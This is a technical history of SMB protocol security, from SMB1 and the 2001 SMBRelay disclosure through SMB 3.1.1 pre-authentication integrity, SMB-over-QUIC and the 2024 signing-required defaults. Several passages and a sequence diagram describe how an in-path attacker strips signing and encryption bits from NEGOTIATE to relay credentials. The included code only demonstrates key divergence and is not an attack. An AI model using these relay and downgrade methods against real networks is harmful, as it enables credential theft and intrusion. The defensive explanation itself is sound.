Microsoft adopted the design for LAN Manager in 1987 and carried it into Windows NT in 1993 [@ms-cifs-landing]. Paul Leach's 1996-1997 IETF draft, eventually known as draft-leach-cifs-v1-spec-02 [@leach-cifs-draft], rebranded the protocol as the Common Internet File System and tried to standardise the dialect at IETF.

The standardisation effort stalled, but the brand stuck for a decade. The normative SMB1 / CIFS reference today is the Microsoft [MS-CIFS] open specification [@ms-cifs-landing], which still records the SMB1 dialect strings PC NETWORK PROGRAM 1.0, MICROSOFT NETWORKS 1.03, LANMAN1.0, and NT LM 0.12 that the protocol negotiates at hello.

Paul Leach (Microsoft) circulated a CIFS Internet Draft at the IETF in 1996-1997 [@leach-cifs-draft], hoping to take SMB through the standards-track process. Microsoft kept revising the spec internally; the IETF draft never advanced to RFC. The "CIFS" name persisted as marketing for SMB1 well after Microsoft had moved on to SMB 2.0 in 2006, which is why product documentation continued to refer to "CIFS shares" through the 2010s even though the wire protocol had changed twice. Today the only meaningful use of the word is as a label for the SMB1 wire dialect family, normatively documented in `[MS-CIFS]` [@ms-cifs-landing].

In parallel, Andrew Tridgell at the Australian National University started reverse-engineering the SMB wire protocol so he could mount a DEC Pathworks server from his Linux box. His first tentative code appeared in early 1992 [@samba-10years]; that codebase grew into Samba, which is the canonical open-source SMB server in 2026 and ships every algorithm matrix the Microsoft client expects to negotiate.

Microsoft added SMB1 to the Windows Server 2012 R2 deprecation list in June 2013, in advance of the Server 2012 R2 October 2013 release, per Jose Barreto's 2015 TechNet post (preserved via the Wayback Machine) [@barreto-archive]. "Deprecation" meant the feature was marked for potential removal in subsequent releases, not yet removed. The actual default-off step came with Windows 10 1709 in the Fall Creators Update and Windows Server 2019 [@smb-interception-defense].

A family of attacks that captures a client's authentication exchange on the wire and replays it, in real time, into a fresh authenticated session against a different target where the same user already has access. The defining property is that the attacker never learns the plaintext credential; she only needs to ferry the cryptographic responses between two sockets. Originally demonstrated by Sir Dystic for SMB on March 31, 2001 [@smbrelay-cdc], the class generalised to NTLM-over-HTTP, NTLM-over-LDAP, NTLM-over-DCOM, and eventually to cross-protocol variants like PetitPotam that coerce SMB authentication and relay it to ADCS Web Enrollment over HTTPS.

The 2001 disclosure

Sir Dystic's SMBRelay was a small Windows binary that ran a fake SMB server, accepted a connection from a victim, captured the NTLM challenge-response, and immediately forwarded that response to a real SMB server where the victim had access. The technique worked because SMB1 signing was opt-in by default; on a typical Windows network in 2001, signing was negotiated for connections to SYSVOL and NETLOGON on a domain controller and almost nowhere else. Microsoft's response at the time was that signing existed and could be turned on. Technically correct; politically untenable.

The "almost nowhere else" matters. SMB1 did support signing, and the algorithm was a truncated MD5 of the packet concatenated with the session key, mediated by a sequence number, per [MS-CIFS] §3.1.4.1 [@ms-cifs-landing]. It was not an HMAC, and it was not a strong MAC by 2001 cryptographic standards. But that was not the load-bearing weakness. The load-bearing weakness was that the signing-required bit travelled in the NEGOTIATE Response itself, before any session key existed to protect it. An attacker who could rewrite NEGOTIATE could strip the bit; signing was then mutually disabled and the session continued unsigned.

The cDc primary page dates the disclosure to March 31, 2001. The Wikipedia article on SMBRelay says March 21, 2001, and a chain of secondary press has repeated the March 21 date. The primary disclosure page is the dispositive source; the article uses March 31 [@smbrelay-cdc].

The 2008 patch

Seven years and eight months later, on November 11, 2008, Microsoft shipped MS08-068, which addressed CVE-2008-4037, the same-host SMB credential reflection vulnerability [@ms08-068][@nvd-cve-2008-4037]. The fix changed how SMB authentication replies were validated so that an attacker could no longer reflect a client's credentials back to the same host that initiated the authentication.

That closed one specific variant of Sir Dystic's attack. It did not close the cross-host case, where the attacker forwards credentials to a different SMB server that the victim has access to. That case was the architectural shape that future relay tooling like Impacket's smbrelayx exploited for years.

What MS08-068 demonstrated, more than anything else, was the cost of fixing a protocol with a single-issue patch when the load-bearing weakness was structural. The 2001 disclosure named the class. The 2008 patch closed one variant. The next defence was not another bulletin, and it was not going to be another patch. It was a complete redesign of the SMB header model and a new dialect family.

gantt title SMB cryptographic generations dateFormat YYYY axisFormat %Y section SMB1 Cleartext on the LAN :1983, 1996 MD5 signing (opt-in) :1997, 2006 section SMB 2.x HMAC-SHA-256 signing :2006, 2012 section SMB 3.x AES-CMAC and AES-128-CCM :2012, 2013 Secure Negotiate FSCTL :2013, 2015 section SMB 3.1.1 Pre-auth integrity, AES-128-GCM :2015, 2021 AES-256 ciphers, AES-GMAC, SMB-over-QUIC :2021, 2024 Signing required by default :2024, 2026

3. Five Retrofits Before the Real Fix

Between 2006 and 2013, Microsoft tried four different cryptographic primitives and one post-hoc validation message. None of them closed the negotiate-downgrade primitive that SMBRelay opened.

SMB 2.0 (November 8, 2006) [@ms-smb2-versioning]

Windows Vista RTM shipped a redesigned SMB header. The protocol still carried a sequence number, but the per-packet signature now came from HMAC-SHA-256 keyed by the session key derived from authentication, not from a truncated MD5 [@ms-smb2-versioning]. The new MAC closed all the trivial attacks on the signing algorithm itself.

But signing was still opt-in: a typical Windows network ran it only between domain controllers and member servers, not between general clients and file shares. And the NEGOTIATE Response still travelled unsigned, so the signing-required bit was still strippable by an in-path attacker.

A keyed message authentication code, defined in RFC 2104 with SHA-256 as the underlying hash, that produces a 256-bit tag binding a message and a key. HMAC's security reduces to the pseudorandomness of the underlying hash compression function; SHA-256 with HMAC has no known practical forgery for any key. SMB 2.0 and later use HMAC-SHA-256 to sign each SMB header when AES-CMAC and AES-GMAC are not negotiated [@ms-smb2-versioning].

SMB 2.1 (October 22, 2009) [@ms-smb2-versioning]

Windows 7 and Server 2008 R2 shipped SMB 2.1, dialect 0x0210 [@ms-smb2-versioning]. The dialect introduced opportunistic locks, branch caching, and large MTUs. The cryptographic primitives did not change: HMAC-SHA-256 signing, still opt-in.

SMB 3.0 (October 26, 2012) [@ms-smb2-versioning]

Windows 8 and Server 2012 shipped the first cryptographically modern SMB dialect, 0x0300 [@ms-smb2-versioning]. It introduced three things at once:

AES-CMAC signing, the NIST SP 800-38B [@nist-sp-800-38b] block-cipher MAC, swapping the SHA-256 compression function for an AES-128 cipher operation that runs at hardware speed on chips with AES-NI. The standard identifier in the spec is "AES-CMAC". Cryptographers will sometimes recognise the same construction as OMAC1 from Iwata and Kurosawa, 2003.
AES-128-CCM encryption, the two-pass AEAD construction from NIST SP 800-38C [@nist-sp-800-38c], which produces an authenticated ciphertext that an attacker cannot tamper with without invalidating the tag.
A proper SP 800-108 key hierarchy. Every per-session signing key, encryption key, and decryption key derives from a session-level secret via the counter-mode HMAC-SHA-256 KDF in NIST SP 800-108 [@nist-sp-800-108r1].

This was a real cryptographic upgrade. But it did not close the negotiate-downgrade primitive. An attacker on the wire could still rewrite the NEGOTIATE Response to remove the SMB2_GLOBAL_CAP_ENCRYPTION capability bit and the SMB2_NEGOTIATE_SIGNING_REQUIRED bit; the client and server would then agree on a session that was neither signed nor encrypted, and the cryptographic primitives the attacker was trying to defeat were never invoked at all.

A block-cipher message authentication code standardised in NIST SP 800-38B in 2005 [@nist-sp-800-38b]. CMAC iterates AES in CBC mode over the message and applies a final subkey to the last block. The construction tolerates messages of any length, including the empty message, and has a security bound that matches the generic upper bound for any deterministic MAC built from a pseudorandom permutation. SMB 3.0 through 3.1.1 use AES-CMAC as the default signing algorithm; AES-GMAC, introduced as a negotiable alternative in 2021, replaces it on hardware where Galois-field multiplication is faster than AES-CBC. Authenticated Encryption with Associated Data. A class of symmetric encryption scheme that simultaneously provides confidentiality of the message body and integrity of both the body and a separate "associated data" header. AES-CCM (SP 800-38C) [@nist-sp-800-38c] and AES-GCM (SP 800-38D) [@nist-sp-800-38d] are the two AEADs SMB 3.x uses. AEADs replace the older "encrypt-then-MAC" or "MAC-then-encrypt" compositions, which historically were a rich source of cryptographic mistakes.

NIST identifies AES-CMAC by the cipher and mode strings; the construction is mathematically equivalent to Tetsu Iwata and Kaoru Kurosawa's OMAC1 from 2003. SP 800-38B notes the lineage, attributing the design to Iwata-Kurosawa with subsequent refinements by Black-Rogaway [@nist-sp-800-38b].

SMB 3.0.2 Secure Negotiate (October 18, 2013) [@ms-smb2-versioning]

Windows 8.1 and Server 2012 R2 shipped dialect 0x0302 with a post-hoc validation message: FSCTL_VALIDATE_NEGOTIATE_INFO. The idea was that after authentication, the client would send the server its view of what NEGOTIATE looked like, signed by the freshly-derived session key. The server compared the client's view against its own, and if they disagreed, the connection terminated. This was the first protocol-level attempt to detect negotiate-downgrade in SMB. It is also, retrospectively, the most instructive failure.

Secure Negotiate had five structural limits, and each of them mattered:

It was post-hoc, not preventive. The session key was already derived. The encryption capability was already mutually decided. If an attacker had stripped encryption, you were going to detect that you were in a degraded session and tear it down. You were not going to prevent the degradation in the first place.
The FSCTL was skippable. A pre-3.0 client did not send FSCTL_VALIDATE_NEGOTIATE_INFO. An attacker who downgraded a 3.0.2 client to 2.0 simply got a session that never asked the question.
It validated capability bits, not every byte of NEGOTIATE. The FSCTL message contained a fixed structure with specific fields. Tampering that did not touch those specific fields could survive validation.
It inherited the dialect-monopoly extensibility flaw. Adding a new capability meant adding a new bit to the capability bitmap, which the Secure Negotiate FSCTL would also have to learn about. The structure was not future-proof.
It was trust-on-second-use, not first-use. The signed FSCTL validated that this session's NEGOTIATE was not tampered with only after authentication had completed. The first message of authentication itself, where the attacker could rewrite signing requirements, was still vulnerable.

An attack on a protocol with an in-band cryptographic capability negotiation in which an in-path attacker tampers with the negotiation messages so that the two endpoints agree on a weaker algorithm, or no algorithm at all. SMB-relay-class attacks before 2015 universally relied on negotiate-downgrade: the attacker stripped the `SMB2_NEGOTIATE_SIGNING_REQUIRED` bit from the NEGOTIATE Response, and the resulting session was unsigned and forwardable. The structural defence against negotiate-downgrade is to bind every byte of the negotiation transcript into the key-derivation function, which is what TLS 1.2 Finished and SMB 3.1.1 pre-authentication integrity both do, by different mechanics.

Note: Every SMB defence before 2015 was a tag applied after-the-fact to a message an attacker already controlled. Signing was opt-in. The signing-required bit was strippable during unsigned NEGOTIATE. Secure Negotiate detected tampering only after the attacker had already chosen what to tamper with. The shape of the fix is forced once you state the flaw this way: the negotiation has to bind into the key-derivation function itself, so that tampering does not produce a detectable mismatch -- it produces session keys that simply do not work.

Five generations, one column

The shape of the failure is easiest to see in a table.

Generation	Year	Signing	Encryption	NEGOTIATE protection	Why it failed
SMB1 cleartext	1983-1996	None	None	None	No cryptography at all
SMB1 + MD5	1997-2006	Opt-in MD5 truncated to 8 bytes	None	None	Signing-required bit strippable in unsigned NEGOTIATE
SMB 2.0 / 2.1	2006-2012	HMAC-SHA-256	None	None	Same NEGOTIATE-strip primitive, stronger MAC
SMB 3.0	2012-2013	AES-CMAC	AES-128-CCM	None	Strip the `SMB2_GLOBAL_CAP_ENCRYPTION` bit and CCM never runs
SMB 3.0.2	2013-2015	AES-CMAC	AES-128-CCM	Post-hoc FSCTL	Detection, not prevention; skippable by older clients

Read the NEGOTIATE protection column top to bottom. None / None / None / None / Post-hoc FSCTL. Twenty-five years of cryptographic work without a single defence that bound the negotiation transcript to the eventual session key. Then, in 2015, buried in the unremarkable .1 of a .1 dialect bump, the SMB team finally fixed the load-bearing weakness.

sequenceDiagram participant C as Client participant M as In-path attacker participant S as Server C->>M: NEGOTIATE Request, signing required, ciphers AES-128-CCM M->>S: NEGOTIATE Request, signing required, ciphers AES-128-CCM S->>M: NEGOTIATE Response, signing required, encryption capability set M->>C: NEGOTIATE Response with signing-required bit cleared, encryption capability removed Note over C,S: Client and server now agree on an unsigned, unencrypted session C->>M: SESSION_SETUP Request, no signature M->>S: Relayed SESSION_SETUP Request Note over M,S: Attacker controls the cleartext channel

4. The Hash Chain Becomes the Salt

On July 29, 2015, Windows 10 RTM (build 10240, version 1507) shipped a protocol that no relay tool released since has been able to downgrade [@win10-release-info]. The fix was not what most readers remember. It was much stranger and much cleaner.

The dialect was 0x0311, "SMB 3.1.1" [@ms-smb2-versioning]. Greg Kramer and Dan Lovinger of the Microsoft SMB team presented the design at the SNIA Storage Developer Conference that September [@kramer-lovinger-sdc2015]. The deck contains the single most-quoted sentence in modern SMB cryptography:

Preauthentication Integrity ... Provides end-to-end, dialect agnostic protection. Session's secret keys derived from hash of the preauthentication messages. -- Greg Kramer and Dan Lovinger, SNIA SDC 2015 [@kramer-lovinger-sdc2015]

Most secondary references to the SDC 2015 deck cite "Greg Kramer" only. The title slide lists two authors: Greg Kramer, Principal Software Engineer, and Dan Lovinger, Principal Software Engineer, both at Microsoft. The 2015 design has two names on it [@kramer-lovinger-sdc2015].

The misremembered framing of SMB 3.1.1 pre-authentication integrity is that "negotiate contexts are signed by the eventual session key." That is not what happens. The actual mechanism is more elegant and structurally stronger.

The four updates of the hash chain

SMB 3.1.1 defines a per-connection variable called PreauthIntegrityHashValue, initialised to 64 zero bytes [@ms-smb2-pdf]. Across the four messages of the pre-authentication phase, both client and server update it with the same rule:

$$H_i = \mathrm{SHA{-}512}(H_{i-1} \mathbin{|} M_i)$$

The four messages are NEGOTIATE Request, NEGOTIATE Response, SESSION_SETUP Request, and SESSION_SETUP Response. After all four are processed, the running hash H_4 contains a cryptographic commitment to every byte that crossed the wire during pre-authentication.

This commitment has no value if it stays a local variable. The structural move is in the next step. SMB 3.1.1 uses the NIST SP 800-108 counter-mode KDF [@nist-sp-800-108r1] to derive every per-session key from the authentication-protocol session secret (the NTLM ExportedSessionKey or the Kerberos service-ticket session key). The KDF takes two arguments alongside the secret: a Label identifying the role of the derived key, and a Context argument.

The Context argument is PreauthIntegrityHashValue.

That is the whole trick. The hash chain enters the key-derivation function as salt. It does not protect the negotiation by tagging it; it protects the negotiation by being part of the input to the function that produces the session keys.

Key idea: Pre-authentication integrity is not a signed negotiate. It is a SHA-512 hash chain over the four pre-authentication messages whose final value becomes the Context argument to the SP 800-108 KDF that derives every per-session key. Tampering does not get detected. Tampering causes the two sides to compute different keys, and the first signed message after SESSION_SETUP simply fails to verify on both ends.

The SMB 3.1.1 mechanism that binds every byte of the four pre-authentication messages (NEGOTIATE Request and Response, SESSION_SETUP Request and Response) into the salt input of the SP 800-108 key-derivation function that derives all per-session SMB keys [@kramer-lovinger-sdc2015][@ms-smb2-pdf]. The bind is constructed by iterating SHA-512 over each pre-authentication message in turn. The mechanism is mandatory in dialect 0x0311; there is no policy switch to disable it. A family of key-derivation functions standardised by NIST in Special Publication 800-108 [@nist-sp-800-108r1], parameterised by a pseudorandom function (HMAC, KMAC, or CMAC) and a mode (counter, feedback, double-pipeline). SMB 3.x uses CTR-HMAC-SHA-256. The function takes a secret key, a `Label`, a `Context`, and a desired output length, and returns the requested number of bits as a deterministic, distinguishable derivation of the key. In SMB 3.1.1, the `Context` argument is the pre-authentication hash chain; the `Label` is one of four constant strings naming the role of the derived key.

The four key labels

The four per-session keys SMB 3.1.1 derives are tagged with constant Label strings, lifted directly from [MS-SMB2] §3.2.5.3.1 [@ms-smb2-pdf]:

"SMBSigningKey" -- the key used for the per-packet AES-CMAC or AES-GMAC signature.
"SMBAppKey" -- the application-layer key that some named pipes can use to derive sub-keys.
"SMBC2SCipherKey" -- the client-to-server AES encryption key, fed to AES-CCM or AES-GCM.
"SMBS2CCipherKey" -- the server-to-client encryption key.

Each label is passed as the SP 800-108 Label argument; the same PreauthIntegrityHashValue is passed as the Context argument. Different labels produce different keys from the same secret and the same salt; that is what makes role separation work without four separate hash chains.

The AES-256 ciphers in SMB 3.1.1 consume Session.FullSessionKey rather than the truncated 16-byte Session.SessionKey that AES-128 ciphers use [@ms-smb2-pdf]. This is the structural reason an AES-256 SMB session is cryptographically 256-bit-secure rather than capped at 128. The detail matters for anyone evaluating SMB against CNSA 2.0 requirements: the implementation does the right thing, but only because the specification said so explicitly.

Why this is stronger than Secure Negotiate

Place SMB 3.0.2 Secure Negotiate and SMB 3.1.1 pre-authentication integrity side by side:

Property	Secure Negotiate (SMB 3.0.2)	Pre-auth integrity (SMB 3.1.1)
Coverage	Dialect index + capability bitmap	Every byte of all four pre-auth messages
When	Post-hoc, after session key derived	At the moment of key derivation
Failure mode	Detection: signed FSCTL mismatches	Implicit: derived keys diverge
Disable switch	Skipped by pre-3.0 clients	None; mandatory in 0x0311
Extensibility	Hard-coded fields in FSCTL	Hashes whatever bytes flow

Secure Negotiate had to know what it was protecting. Pre-auth integrity does not. The hash chain absorbs whatever bytes the dialect happens to carry: new negotiate contexts in future dialects, new capability bits, new ciphers. The mechanism does not need to be updated to learn about them, because it does not parse them. It hashes them.

The per-context salts

There is one more subtlety. The SMB2_PREAUTH_INTEGRITY_CAPABILITIES negotiate context, defined in [MS-SMB2] §2.2.3.1.1, contains a 32-byte Salt field that the client and server populate with fresh PRNG output for each connection [@ms-smb2-pdf]. The salt is hashed in along with everything else, so two different connections from the same client to the same server end up with different PreauthIntegrityHashValue values even if every other byte of NEGOTIATE is identical.

The point is not to add entropy to the session key (which already gets entropy from the authentication exchange) but to defeat any attempt at pre-image or rainbow-table attacks on the hash chain itself. SHA-512 is the only hash function currently negotiated, and its 256-bit collision resistance is the protocol floor for pre-authentication integrity.

Note: The Microsoft Learn pages, the docs aggregators, and several widely-cited tertiary references describe SMB 3.1.1 pre-authentication integrity as "signing the negotiate contexts with the session key." That description is wrong in a way that matters. There is no separate signed message validating the negotiation. The protection is constructed by feeding the hash of every pre-authentication message into the KDF that produces the session key. If you remember it as a signed negotiate, you will not understand why it is structurally stronger than Secure Negotiate. The mechanism is a KDF binding, not a signature.

The empirical demonstration

The fastest way to feel the mechanism is to watch keys diverge in real time. The runnable code below produces two parallel SP 800-108-style derivations: an honest one where client and server hash the same four messages, and a tampered one where an in-path attacker flips a single byte in NEGOTIATE Response. The two derivations produce identical keys in the honest case and visibly different keys in the tampered case.

{` const { createHmac, createHash } = require('crypto');

function sha512(buf) { return createHash('sha512').update(buf).digest(); }

function updateChain(H, message) { return sha512(Buffer.concat([H, Buffer.from(message)])); }

// SP 800-108 CTR-HMAC-SHA-256 in its simplest 32-byte-output form function kdfSP108(secret, label, context, length) { const out = []; let i = 1; while (out.reduce((n, b) => n + b.length, 0) < length) { const counter = Buffer.alloc(4); counter.writeUInt32BE(i++, 0); const block = createHmac('sha256', secret) .update(counter) .update(Buffer.from(label, 'utf8')) .update(Buffer.from([0])) .update(context) .update(Buffer.from([0, 0, 1, 0])) .digest(); out.push(block); } return Buffer.concat(out).subarray(0, length); }

const NEGOTIATE_REQ = 'NEGOTIATE Request (client, signing required)'; const NEGOTIATE_RESP = 'NEGOTIATE Response (server, signing required)'; const SESSION_REQ = 'SESSION_SETUP Request (NTLM challenge response)'; const SESSION_RESP = 'SESSION_SETUP Response (success)';

function derive(messages) { let H = Buffer.alloc(64, 0); for (const m of messages) H = updateChain(H, m); const authSecret = Buffer.from('AUTHENTICATION_PROTOCOL_SHARED_SECRET'); return kdfSP108(authSecret, 'SMBSigningKey', H, 16).toString('hex'); }

const honestClient = derive([NEGOTIATE_REQ, NEGOTIATE_RESP, SESSION_REQ, SESSION_RESP]); const honestServer = derive([NEGOTIATE_REQ, NEGOTIATE_RESP, SESSION_REQ, SESSION_RESP]); console.log('honest client:', honestClient); console.log('honest server:', honestServer); console.log('match:', honestClient === honestServer);

// Attacker flips one byte in NEGOTIATE Response only on the client side const tamperedClient = derive([NEGOTIATE_REQ, NEGOTIATE_RESP.replace('required', 'optional'), SESSION_REQ, SESSION_RESP]); const honestServer2 = derive([NEGOTIATE_REQ, NEGOTIATE_RESP, SESSION_REQ, SESSION_RESP]); console.log('tampered client:', tamperedClient); console.log('honest server: ', honestServer2); console.log('match:', tamperedClient === honestServer2); `}

The honest pair of keys match. The tampered pair do not. The first signed READ that arrives at the server gets verified with a key that does not match the one the client used to sign it, and the server returns STATUS_USER_SESSION_DELETED. The attacker has not been detected by a validation message; she has been routed around by a key-derivation function.

sequenceDiagram participant C as Client participant S as Server Note over C,S: H starts as 64 zero bytes on both sides C->>S: NEGOTIATE Request Note over C,S: H = SHA-512(H, NEGOTIATE Request) S->>C: NEGOTIATE Response Note over C,S: H = SHA-512(H, NEGOTIATE Response) C->>S: SESSION_SETUP Request Note over C,S: H = SHA-512(H, SESSION_SETUP Request) S->>C: SESSION_SETUP Response Note over C,S: H = SHA-512(H, SESSION_SETUP Response) Note over C,S: H enters SP 800-108 KDF as Context, derives SigningKey, CipherKey flowchart LR A[Authentication secret] --> B[SP 800-108 CTR-HMAC-SHA-256 KDF] L[Label: SMBSigningKey or SMBC2SCipherKey or SMBS2CCipherKey or SMBAppKey] --> B H[Context: PreauthIntegrityHashValue] --> B B --> K1[SigningKey] B --> K2[Client-to-server CipherKey] B --> K3[Server-to-client CipherKey] B --> K4[AppKey] A type-length-value carrier introduced in SMB 3.1.1's NEGOTIATE Request and Response so that future dialects can add new cryptographic capabilities without changing the parent message structure. Each context has a 2-byte type identifier, a length, and a body. The defined types include `SMB2_PREAUTH_INTEGRITY_CAPABILITIES` (the hash function and salt), `SMB2_ENCRYPTION_CAPABILITIES` (the encryption ciphers offered), and `SMB2_SIGNING_CAPABILITIES` (the signing algorithms offered, added in 2021 to support AES-GMAC). Because all negotiate contexts are part of the pre-authentication message stream, they are all hashed into `PreauthIntegrityHashValue` automatically [@ms-smb2-pdf].

From this moment forward, every byte of NEGOTIATE and SESSION_SETUP is cryptographically bound to the eventual session key. There is no way an in-path attacker can downgrade a 3.1.1 connection without producing two divergent session keys and therefore no signed message after authentication can possibly verify on both sides. The mechanism does have one limit, and it is the one that the next decade of SMB hardening had to deal with: pre-authentication integrity ensures that if signing or encryption is negotiated, an attacker cannot tamper with the negotiation. It does not require either to be negotiated.

5. The 2021 Cipher Refresh and SMB-over-QUIC

Six years after pre-authentication integrity shipped, two parallel additions arrived in the same Windows release window. Windows 11 21H2 and Server 2022, both from the second half of 2021, extended the SMB cipher matrix and introduced a new transport that ran SMB inside QUIC instead of TCP.

The 2021 cipher refresh

The Negotiate Context machinery designed in 2015 absorbed three new values for EncryptionAlgorithmId without a dialect bump [@ms-smb2-versioning]:

0x0002: AES-128-GCM (already shipped with SMB 3.1.1 in 2015)
0x0003: AES-256-CCM (added 2021)
0x0004: AES-256-GCM (added 2021)

A fourth addition was the SMB2_SIGNING_CAPABILITIES negotiate context, which let the dialect negotiate AES-GMAC as a signing algorithm alongside AES-CMAC and HMAC-SHA-256 [@ms-smb2-versioning]. AES-GMAC is the authentication-only mode derived from AES-GCM, defined in NIST SP 800-38D [@nist-sp-800-38d].

`EncryptionAlgorithmId`	Algorithm	Key	First SMB version	CNSA 2.0 compatible	Notes
`0x0001`	AES-128-CCM	128 bits	SMB 3.0 (2012)	No	Two-pass AEAD; pre-AES-NI baseline
`0x0002`	AES-128-GCM	128 bits	SMB 3.1.1 (2015)	No	Single-pass AEAD; faster than CCM on AES-NI
`0x0003`	AES-256-CCM	256 bits	SMB 3.1.1 (2021 cipher refresh)	Yes	CNSA-grade; rarely chosen over GCM
`0x0004`	AES-256-GCM	256 bits	SMB 3.1.1 (2021 cipher refresh)	Yes	CNSA-grade and AES-NI / VAES accelerated

The U.S. National Security Agency's Commercial National Security Algorithm Suite version 2.0, published in 2022 as the symmetric and asymmetric algorithm baseline for protecting U.S. classified information up to TOP SECRET. The symmetric component requires AES-256 in any AEAD mode for confidentiality and AES-256-GMAC or HMAC-SHA-384 for integrity. The SMB combination that satisfies CNSA 2.0 is AES-256-GCM for encryption and AES-GMAC for signing; AES-128 variants are not CNSA-eligible.

Why AES-GMAC won the speed argument

AES-CMAC runs AES in CBC mode over the message, with one AES block operation per 16 bytes of input. AES-GMAC reuses the GCM mode's Galois-field multiplier, GHASH, which can be implemented in parallel using a single AES key-schedule and the PCLMULQDQ carry-less multiplication instruction that Intel added with the Westmere generation in 2010 [@iacr-2018-392].PCLMULQDQ multiplies two 64-bit operands as polynomials over GF(2), bypassing the carry chain that makes integer multiplication slow. It is the workhorse of every modern AES-GCM implementation.

Drucker, Gueron and Krasnov's 2018 ePrint Making AES Great Again documents the performance ceiling on contemporary Intel hardware [@iacr-2018-392]. They measured 0.64 cycles per byte for AES-GCM single-buffer on Skylake-X with AES-NI and PCLMULQDQ, and projected the theoretical bound at 0.16 cycles per byte for the AVX-512 + VPCLMULQDQ multi-buffer variant on Ice Lake.

The single-buffer ratio against AES-CMAC, which the same paper notes runs at roughly 2 to 3 cycles per byte on equivalent hardware, is about 3 to 5x. The multi-buffer ratio is larger, often 6x or more, because GMAC parallelises across independent 16-byte blocks where CMAC's CBC chain serialises them.

Taken together, those numbers mean that on a modern file server saturating a 25 Gbit/s NIC, AES-GMAC signing costs roughly one-third the CPU of AES-CMAC for the same packet rate. That is not a marginal optimisation; it is the difference between needing two cores to sign and needing one.

SMB-over-QUIC

The second 2021 addition was a new transport. Microsoft demoed SMB-over-QUIC in early 2021 and shipped it for general availability in November 2021 with the Windows Server 2022 Datacenter: Azure Edition SKU [@smb-over-quic]. The transport runs SMB inside a QUIC connection (RFC 9000 [@rfc9000]) whose record layer is encrypted by TLS 1.3 (RFC 8446 [@rfc8446]) and bound to QUIC by RFC 9001 [@rfc9001]. The wire-layer port is UDP/443, the same port HTTPS-over-QUIC uses, which means SMB-over-QUIC traverses most firewalls that already pass web traffic.

A UDP-based multiplexed and secure transport protocol designed by Google in 2012 and standardised at IETF in 2021 as RFC 9000 [@rfc9000]. QUIC carries multiple independent streams of reliable bytes inside a single connection, uses TLS 1.3 for the cryptographic handshake (RFC 9001 [@rfc9001]), and identifies connections by a connection ID rather than the 5-tuple, which means a QUIC connection survives an IP address change. SMB-over-QUIC uses QUIC's reliable stream abstraction to carry the SMB packets that would otherwise go over TCP, and inherits QUIC's TLS 1.3 record-layer encryption.

The trust-anchor shift

SMB-over-TCP/445 trusts only the authentication protocol. If Kerberos or NTLM trusts the principal, the SMB session derives a key from that authentication and proceeds. There is no other trust input.

SMB-over-QUIC adds server certificate PKI to the trust model. The QUIC handshake authenticates the server with a TLS 1.3 X.509 certificate chain that must validate against the client's trust store. This is a real change in threat model: a compromised certificate authority in the client's root store can MITM SMB-over-QUIC the same way it can MITM HTTPS. For some organisations that is a feature, a trust anchor that lives in the certificate authority instead of in Kerberos. For others it is a regression.

Some descriptions of SMB-over-QUIC suggest the SMB application layer is unencrypted because QUIC already encrypts everything. That is wrong in a way that matters. SMB-over-QUIC still negotiates SMB 3.1.1 pre-authentication integrity and SMB signing; the SMB session key derives independently from the authentication protocol, not from the TLS 1.3 session secret. There are two layers of encryption (TLS 1.3 at the QUIC layer and AES-GCM at the SMB layer) precisely because the two layers have independent trust anchors. If the QUIC TLS 1.3 session is MITM'd by a rogue CA, the SMB-layer signing keys still verify against the authentication protocol's session key; the inner layer is the structural backstop.

The original SMB-over-QUIC release was restricted to Windows Server 2022 Datacenter: Azure Edition, a SKU available only as an Azure-hosted virtual machine [@smb-over-quic]. That restriction made SMB-over-QUIC effectively unusable for the on-premises file-server population that the protocol most needed. The restriction was lifted with Windows Server 2025, which broadens SMB-over-QUIC hosting to every edition of the server SKU [@ws-2025-whats-new][@smb-over-quic]. On the client side, Windows 11 24H2 became the first SMB-over-QUIC-capable mainstream desktop client [@smb-feature-descriptions].

Samba 4.15.0 (September 2021) added the SMB3 signing-algorithm-negotiation parameters (client smb3 signing algorithms, server smb3 signing algorithms) and the SMB3 encryption-algorithm-negotiation parameters, and fixed AES-256-GCM/CCM server-side support that was previously broken under bug 14764 [@samba-4-15-0]. SMB-over-QUIC support for both smbd and smbclient did not arrive in Samba until 4.23.0, in September 2025, closing a four-year interop gap with the November 2021 Microsoft release [@samba-4-23-0].

The 2021 refresh handed enterprises CNSA-grade ciphers and a no-VPN remote-file-access transport. But signing was still opt-in by default for general SMB shares, and the SMB-relay toolkit that Sir Dystic released in 2001 still worked against any 21H2 client that an administrator had not hardened by hand. The defaults had not caught up.

6. The 2024 Defaults: Locks Finally Turned On

On October 1, 2024, Windows 11 24H2 shipped to retail [@win11-release-info]. A month later, on November 1, 2024, Windows Server 2025 followed [@ws-2025-whats-new]. The two releases changed seven defaults in one go, and exactly one of those changes mattered most.

The headline change was structural: SMB signing required by default on both outbound and inbound connections for every share, not just SYSVOL and NETLOGON [@smb-security-hardening]. The Microsoft Learn SMB Security Hardening page states it directly:

Starting with Windows 11 24H2 and Windows Server 2025, all outbound and inbound SMB connections are now required to be signed by default. Previously, SMB signing was only required by default for connections to shares named SYSVOL and NETLOGON, and for clients of AD domain controllers. [@smb-security-hardening]

Ned Pyle, the Microsoft file server product manager who has shipped SMB releases for the better part of a decade, summarised the bundle in a Tech Community post that doubles as the canonical 2024 reference:

With the release of Windows Server 2025 and Windows 11 24H2, we have made the most changes to SMB security since the introduction of SMB 2 in Windows Vista. -- Ned Pyle, Microsoft [@pyle-techcom-4226591]

The bundle, in priority order

Signing required by default, the load-bearing change. The omission-downgrade attack that has worked since 2001 is structurally closed for any 24H2-or-later pair, because the server will refuse an unsigned session [@smb-security-hardening][@pyle-techcom-4226591].
Client-side encryption mandate, available but not on by default. Set-SmbClientConfiguration -RequireEncryption $true now refuses any outbound SMB session that does not negotiate AES-GCM encryption [@smb-security-hardening]. The most-misreported fact about the 2024 rollout is whether this is on. It is not.
Authentication rate limiter. A 2-second delay between failed NTLM or local-KDC Kerberos authentication attempts, configurable but on by default. Microsoft's published arithmetic: an attack that sends 300 guesses per second for 5 minutes (90,000 attempts) now takes 50 hours [@smb-security-hardening].
NTLM blocking for outbound SMB. Set-SmbClientConfiguration -BlockNTLM $true refuses outbound NTLM fallback, forcing Kerberos or failing the session [@smb-security-hardening].
SMB dialect minimum and maximum, configurable per-host on both client and server [@smb-security-hardening].
SMB alternative ports, so that an administrator can run SMB-over-QUIC on a non-default UDP port without losing audit support [@smb-security-hardening].
Insecure guest authentication blocked by default, on every edition of Windows 11, closing a gap that previously only Enterprise and Education had been opted into since Windows 10 1709 [@smb-interception-defense].

